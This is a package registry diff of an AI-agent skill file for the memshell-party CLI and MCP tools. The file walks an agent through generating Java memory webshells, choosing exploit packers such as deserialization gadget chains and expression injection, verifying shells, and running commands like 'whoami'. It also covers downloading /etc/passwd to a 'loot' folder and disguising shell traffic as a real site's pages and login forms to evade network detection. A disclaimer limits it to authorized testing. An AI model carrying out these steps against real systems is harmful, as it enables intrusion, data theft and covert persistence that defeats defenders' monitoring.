memshell-party-cli 0.6.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,475 +1,521 @@
1
- ---
2
- name: memshell-party
3
- description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
4
- ---
5
-
6
- # MemShellParty skill
7
-
8
- Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
9
- by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
10
-
11
- > ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
12
- > do not have explicit written permission to test. You are responsible for how these payloads are used.
13
-
14
- ## How to talk to the tool
15
-
16
- Two equivalent interfaces — pick whichever is available:
17
-
18
- - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
- - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
- `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
21
- `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
22
- `target_note`, `target_list`, `target_remove`, `log_list`.
23
-
24
- The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
25
- (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
26
-
27
- ## Step 0 — Discover, don't guess
28
-
29
- The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
30
- hard-code a server/packer name from memory.** Always enumerate first:
31
-
32
- ```bash
33
- memparty config servers # every server + its shell types
34
- memparty config tools Tomcat # one server's tools + types
35
- memparty config packers # packer parent/child tree
36
- memparty config command # Command-tool encryptors & implementation classes
37
- ```
38
-
39
- Add `--json` for machine-readable output. Use the exact strings these return.
40
-
41
- Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
42
- versions; over MCP: `server_version`).
43
-
44
- ## Step 1 — Pick the four core options
45
-
46
- Every memory shell needs **server → shell tool → shell type → packer**.
47
-
48
- ### server
49
- The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
50
- `SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
51
- to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
52
-
53
- ### shell tool (what the memshell does once injected)
54
- | Tool | Use when |
55
- |------|----------|
56
- | `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
57
- | `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
58
- | `AntSword` | AntSword ("蚁剑") webshell (pass) |
59
- | `Command` | Single command execution / RCE (param name + encryptor) |
60
- | `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
61
- | `NeoreGeorg` | NeoreGeorg tunneling shell |
62
- | `Proxy` | Generic proxy (often WebSocket-based) |
63
- | `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
64
-
65
- ### shell type (where it hooks into the server)
66
- `Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
67
- `Agent*` variants. Rules of thumb:
68
- - **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
69
- Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
70
- - **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
71
- - **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
72
- filters). `Proxy` tool commonly pairs with `WebSocket` types.
73
- - Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
74
-
75
- ### packer (how to deliver/instantiate the payload)
76
- The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
77
-
78
- | Scenario / vuln | Packer family (leaf names) |
79
- |-----------------|----------------------------|
80
- | Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
81
- | Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
82
- | `Class.forName` / `defineClass` via big int | `BigInteger` |
83
- | BCEL-encoded classloading | `BCEL` |
84
- | `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
85
- | Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
86
- | Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
87
- | Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
88
- | Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
89
- | `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
90
- | Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
91
- | H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
92
- | Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
93
- | XXL-JOB endpoint | `XxlJob` |
94
-
95
- > **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
96
- > `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
97
- > (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
98
- > `memparty config packers` to see the parent→child tree.
99
-
100
- ## Step 2 — Probe (fingerprint first when unsure)
101
-
102
- If you don't know the target middleware, generate a **probe** to detect it before committing to a
103
- memshell. Probes have a strict method × content matrix — only these combos work:
104
-
105
- | Method (`-m`) | Supported contents (`-c`) | Extra flags |
106
- |---------------|---------------------------|-------------|
107
- | `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
108
- | `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
109
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
110
-
111
- > `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
112
-
113
- ```bash
114
- # Blind: does the target resolve our DNS? Which server is it?
115
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
116
-
117
- # Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
118
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
119
-
120
- # OOB-visible: run a command and echo it into the HTTP response body
121
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
122
- ```
123
-
124
- The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
125
-
126
- ## Step 3 — Generate
127
-
128
- ```bash
129
- memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
130
- ```
131
-
132
- Common tool-specific flags:
133
- - Godzilla: `--godzilla-pass`, `--godzilla-key`
134
- - Behinder: `--behinder-pass`
135
- - AntSword: `--antsword-pass`
136
- - Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
137
- - All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
138
- - Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
139
- - Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
140
-
141
- Output:
142
- - payload → **stdout** by default.
143
- - `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
144
- - `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
145
-
146
- ## Step 4 — Verify the shell is alive
147
-
148
- Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
149
- you whether it works (exit 0/1):
150
-
151
- ```bash
152
- memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
153
- memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
154
- memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
155
- ```
156
-
157
- MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
158
- `gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
159
- response (the Suo5v2 shell checks it too):
160
-
161
- ```bash
162
- memparty connect -u <shell-url> -t godzilla --pass pass --key key \
163
- --header-name User-Agent --header-value <headerValue-from-gen-json>
164
- ```
165
-
166
- Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
167
- `headerName`/`headerValue`, `suo5Mode`).
168
-
169
- Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
170
- `-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
171
-
172
- ## Step 5 — Execute commands on the shell
173
-
174
- Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
175
- prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
176
- `connect`:
177
-
178
- ```bash
179
- memparty exec -u <shell-url> -t godzilla --pass pass --key key \
180
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
181
- --cmd "whoami"
182
- memparty exec -u <shell-url> -t behinder --pass rebeyond \
183
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
184
- --cmd "id"
185
- ```
186
-
187
- - Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
188
- `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
189
- - Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
190
- - `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
191
-
192
- Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
193
- `headerName`/`headerValue`).
194
-
195
- ## Step 6 — Transfer files
196
-
197
- `memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
198
- real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
199
- Behinder). Same credentials and gate header as `exec`:
200
-
201
- ```bash
202
- memparty download -u <shell-url> -t godzilla --pass pass --key key \
203
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
204
- /etc/passwd -o loot/passwd
205
- memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
206
- ```
207
-
208
- - Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
209
- directory keeps the remote basename; no `-o` means `./<basename>`.
210
- - Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
211
- upload warns that the remote file may be partial.
212
- - Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
213
- - Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
214
- server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
215
- Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
216
- - `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
217
- file bytes never travel over MCP/stdout.
218
-
219
- Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
220
- `upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
221
- paths are on the machine running the MCP server.
222
-
223
- ## Site-mimicking traffic (mimic protocol)
224
-
225
- `mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
226
- requests are browser-style form POSTs; responses are real site pages with the ciphertext
227
- hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
228
- selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
229
- base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
230
- does not crawl.** That is the point: you can judge which page makes believable cover; a
231
- regex crawler cannot.
232
-
233
- ### Workflow
234
-
235
- 1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
236
- page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
237
- the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
238
- an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
239
- 2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
240
- should be the same *shape* as what the site already serves all day. Today mimic speaks
241
- HTML pages only — so on a content site mimic the high-traffic documents (homepage, list
242
- pages); on an SPA/API site an HTML skin is the wrong shape (a JSON envelope skin is the
243
- planned follow-up), and forcing it makes you *more* visible, not less.
244
- 3. **Scaffold + hand-write the profile:**
245
-
246
- ```bash
247
- memparty profile init acme --site http://target:8080
248
- ```
249
-
250
- This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
251
- own file tools** — the CLI has no "fill" command; the content is your judgment, not a
252
- command's output. Fill in:
253
- - `templates`: **one or more** cover pages — the server rotates among them per response,
254
- so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
255
- **high-traffic, self-contained** ones (the pages real users fetch all the time), and
256
- paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
257
- Each entry keeps its own `title` and `contentType`.
258
- - With `--dynamic-path`, also probe what the site returns for a **random** path
259
- (`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
260
- unknown path instead of a 404. Your templates should match that default response —
261
- a 200 answer from the shell then mirrors the site's own behavior exactly.
262
- - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
263
- hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
264
- first-level dirs, same origin only. Used for `--dynamic-path`.
265
- - `request` (optional but recommended): the request's form shape — **one object or an
266
- array the client rotates among** (with optional `weight`). `secretField` is the field
267
- that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
268
- field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
269
- a real form the site already receives** — e.g. a console login POST. Value placeholders:
270
- `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
271
- `{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
272
- `pass=` parameter is a textbook webshell signature.
273
- - `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
274
- format `aes-ecb` + `base64` + `js-var` + no tail):
275
- - `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
276
- `"aes-cbc"` (random IV per message — same command encrypts differently every
277
- time, the strongest default), `"xor"` (no JCE needed).
278
- - `encoding`: `"base64"` | `"base64url"` | `"hex"`.
279
- - `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
280
- the encoded ciphertext — Behinder's `aes_with_magic` trick against length
281
- signatures. Costs nothing, turn it on.
282
- - `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or
283
- `"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at
284
- home in the cover page.
285
- ⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
286
- profile afterwards desynchronizes client and server — rebuild + re-inject.
287
- 4. **Use it:**
288
-
289
- ```bash
290
- memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
291
- --profile acme --dynamic-path
292
- memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
293
- ```
294
-
295
- ### Worked example
296
-
297
- Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
298
- documents dominate; no SPA).
299
-
300
- 1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
301
- `/news/` is linked from the nav and returns a short self-contained list page; the nav
302
- links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
303
- 2. `memparty profile init acme --site http://192.0.2.1:8080`.
304
- 3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
305
- the real file must contain the page's FULL verbatim HTML):
306
-
307
- ```json
308
- {
309
- "name": "acme",
310
- "site": "http://192.0.2.1:8080",
311
- "createdAt": "2026-07-19T08:00:00.000Z",
312
- "templates": [
313
- {
314
- "title": "新闻动态 - ACME 科技",
315
- "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
316
- "contentType": "text/html; charset=utf-8"
317
- },
318
- {
319
- "title": "产品中心 - ACME 科技",
320
- "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
321
- "contentType": "text/html; charset=utf-8"
322
- }
323
- ],
324
- "paths": ["/products/", "/news/", "/about/"],
325
- "request": {
326
- "secretField": "verCode",
327
- "fields": [
328
- {"name": "csrftoken", "value": "{{hex:32}}"},
329
- {"name": "j_username", "value": "admin"},
330
- {"name": "j_password", "value": "{{hex:24}}"},
331
- {"name": "agreement", "value": "on"}
332
- ]
333
- }
334
- }
335
- ```
336
-
337
- Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
338
- JS/images, so no missing sub-request waterfall; two templates so consecutive responses
339
- differ in length and bytes; `paths` are exactly the nav links real users click, not
340
- guessed words; the `request` block mirrors the site's own login form, so the shell POST
341
- is indistinguishable from someone signing in. (Templates shortened here for display —
342
- the real file must contain each page's FULL verbatim HTML. A legacy single
343
- `template`/`title`/`contentType` triple still loads, it just can't rotate.)
344
- 4. Verify it parses, then connect:
345
-
346
- ```bash
347
- memparty profile show acme # schema check happens here too
348
- memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
349
- --profile acme --dynamic-path
350
- # OK mimic http://192.0.2.1:8080/
351
- # round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
352
- ```
353
-
354
- ### What mimic handles vs. what you decide
355
-
356
- - Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
357
- derived response delimiters, form-body encoding, browser-consistent request headers,
358
- credential round-trip on `connect`.
359
- - Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
360
- memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
361
- fixed-URL shell just omit the flag.
362
- - Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
363
- commands like a patient human.
364
-
365
- ### Server side — `memparty custom build`
366
-
367
- The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
368
- locally — one command does the whole chain:
369
-
370
- ```bash
371
- memparty custom build --profile acme --server Tomcat
372
- ```
373
-
374
- What happens inside:
375
-
376
- 1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the
377
- `cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
378
- 2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
379
- dependency);
380
- 3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
381
- with the injector for `--server` (any server from `memparty config tools` — the filter
382
- itself has zero middleware specifics) and packs it with `--packer`
383
- (default `DefaultBase64`);
384
- 4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one
385
- `payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
386
- for the follow-up (credentials, cipher, class names, ready-made connect command).
387
-
388
- Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
389
- existing shell that evaluates scripts, an agent loader…), and connect with the printed
390
- command — a successful `connect` auto-saves the target, afterwards
391
- `memparty exec <host>/mimic --cmd "id"` needs no flags.
392
-
393
- Notes that matter:
394
-
395
- - **Random class name every build** (`--out` keeps builds apart): a running JVM can't
396
- re-define a class, so re-injection NEEDS the fresh name — never reuse one.
397
- - The printed `--pass/--key` are random per build unless you pin them; they're in
398
- `manifest.json`, not in your shell history if you use `--json`.
399
- - The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
400
- body stream), passes undecryptable values through `chain.doFilter`, and answers errors
401
- with the plain cover page — it coexists with the site's real forms and other shells.
402
- - Filter-type deployment truth learned on a real console: **dynamic path is conditional
403
- on the target app's own filters** — probe a random path first, fall back to the fixed
404
- working path when the app answers everything itself.
405
-
406
- ### Reality check before relying on it
407
-
408
- Run `memparty demo` once and read the printed request URL and response: the traffic should
409
- be indistinguishable from a normal page view at a glance. Two ways it still stands out:
410
-
411
- - **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
412
- would fetch, a NDR notices their absence — prefer self-contained pages.
413
- - **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
414
- baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
415
- That is why the dominant-traffic rule above outranks everything else.
416
-
417
- ## Step 7 — Save targets, switch by name
418
-
419
- Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
420
- with an optional remark and category), then reference it as `<project>/<shell>`:
421
-
422
- ```bash
423
- memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
424
- --header-name User-Agent --header-value <headerValue-from-gen-json> \
425
- --remark "内网测试环境" --category test --shell-remark "root 权限"
426
- memparty list # everything, or --category test
427
- memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
428
- memparty exec web1 --cmd "id" # bare project works when it holds one shell
429
- ```
430
-
431
- MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
432
- `projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
433
- (project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
434
- `name: "<project>/<shell>"` to `connect_test` / `exec_command`.
435
- The store lives at `~/.memparty/targets.json`.
436
-
437
- ## Step 8 — Audit with the operation log
438
-
439
- Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
440
- `~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
441
- is truncated.
442
- Query it to recall what was done against a target:
443
-
444
- ```bash
445
- memparty log --category exec --target web1
446
- ```
447
-
448
- Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
449
- actions before repeating them, or to answer "what did we run on this host?".
450
-
451
- ## Gotchas
452
-
453
- - **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
454
- → non-prefixed. Picking the wrong family = the shell won't load.
455
- - **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
456
- target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
457
- - **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
458
- special injector class name — the CLI generates one automatically; don't override
459
- `--injector-class-name` for these.
460
- - **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
461
- - **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
462
- - **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
463
- aren't class-byte payloads.
464
- - **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
465
- don't trust payloads from public services in real engagements — self-host with Docker and use
466
- `MEMPARTY_API_URL` or `--api`).
467
-
468
- ## Reverse: parse a class name
469
-
470
- Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
471
-
472
- ```bash
473
- memparty parse-classname --file shell.class
474
- memparty parse-classname <base64-of-class-bytes>
475
- ```
1
+ ---
2
+ name: memshell-party
3
+ description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
4
+ ---
5
+
6
+ # MemShellParty skill
7
+
8
+ Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
9
+ by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
10
+
11
+ > ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
12
+ > do not have explicit written permission to test. You are responsible for how these payloads are used.
13
+
14
+ ## How to talk to the tool
15
+
16
+ Two equivalent interfaces — pick whichever is available:
17
+
18
+ - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
+ - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
+ `list_packers`, `list_command_configs`, `list_shell_tool_configs`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`,
21
+ `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
22
+ `target_note`, `target_list`, `target_remove`, `log_list`.
23
+
24
+ The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
25
+ (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
26
+
27
+ ## Step 0 — Discover, don't guess
28
+
29
+ The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
30
+ hard-code a server/packer name from memory.** Always enumerate first:
31
+
32
+ ```bash
33
+ memparty config servers # every server + its shell types
34
+ memparty config tools Tomcat # one server's tools + types
35
+ memparty config packers # packer parent/child tree
36
+ memparty config command # Command-tool encryptors & implementation classes
37
+ memparty config tool-configs # v3+ shell-tool fields & enum choices
38
+ memparty config obfuscation # v3+ obfuscation options
39
+ ```
40
+
41
+ Add `--json` for machine-readable output. Use the exact strings these return.
42
+
43
+ Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
44
+ versions; over MCP: `server_version`).
45
+
46
+ ## Step 1 — Pick the four core options
47
+
48
+ Every memory shell needs **server → shell tool → shell type → packer**.
49
+
50
+ ### server
51
+ The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
52
+ `SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
53
+ to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
54
+
55
+ ### shell tool (what the memshell does once injected)
56
+ | Tool | Use when |
57
+ |------|----------|
58
+ | `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
59
+ | `GodzillaSession` | v3+ session-backed Godzilla-compatible shell (pass + key) |
60
+ | `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
61
+ | `AntSword` | AntSword ("蚁剑") webshell (pass) |
62
+ | `Command` | Single command execution / RCE (param name + encryptor) |
63
+ | `Suo5` | SOCKS5 proxy tunnel (v3 uses the former Suo5v2 protocol) |
64
+ | `NeoreGeorg` | NeoreGeorg tunneling shell |
65
+ | `Proxy` | Generic proxy (often WebSocket-based) |
66
+ | `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
67
+
68
+ ### shell type (where it hooks into the server)
69
+ `Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
70
+ `Agent*` variants. Rules of thumb:
71
+ - **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
72
+ Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
73
+ - **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
74
+ - **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
75
+ filters). `Proxy` tool commonly pairs with `WebSocket` types.
76
+ - Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
77
+
78
+ ### packer (how to deliver/instantiate the payload)
79
+ The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
80
+
81
+ | Scenario / vuln | Packer family (leaf names) |
82
+ |-----------------|----------------------------|
83
+ | Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
84
+ | Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
85
+ | `Class.forName` / `defineClass` via big int | `BigInteger` |
86
+ | BCEL-encoded classloading | `BCEL` |
87
+ | `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
88
+ | Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
89
+ | Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
90
+ | Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
91
+ | Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
92
+ | `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
93
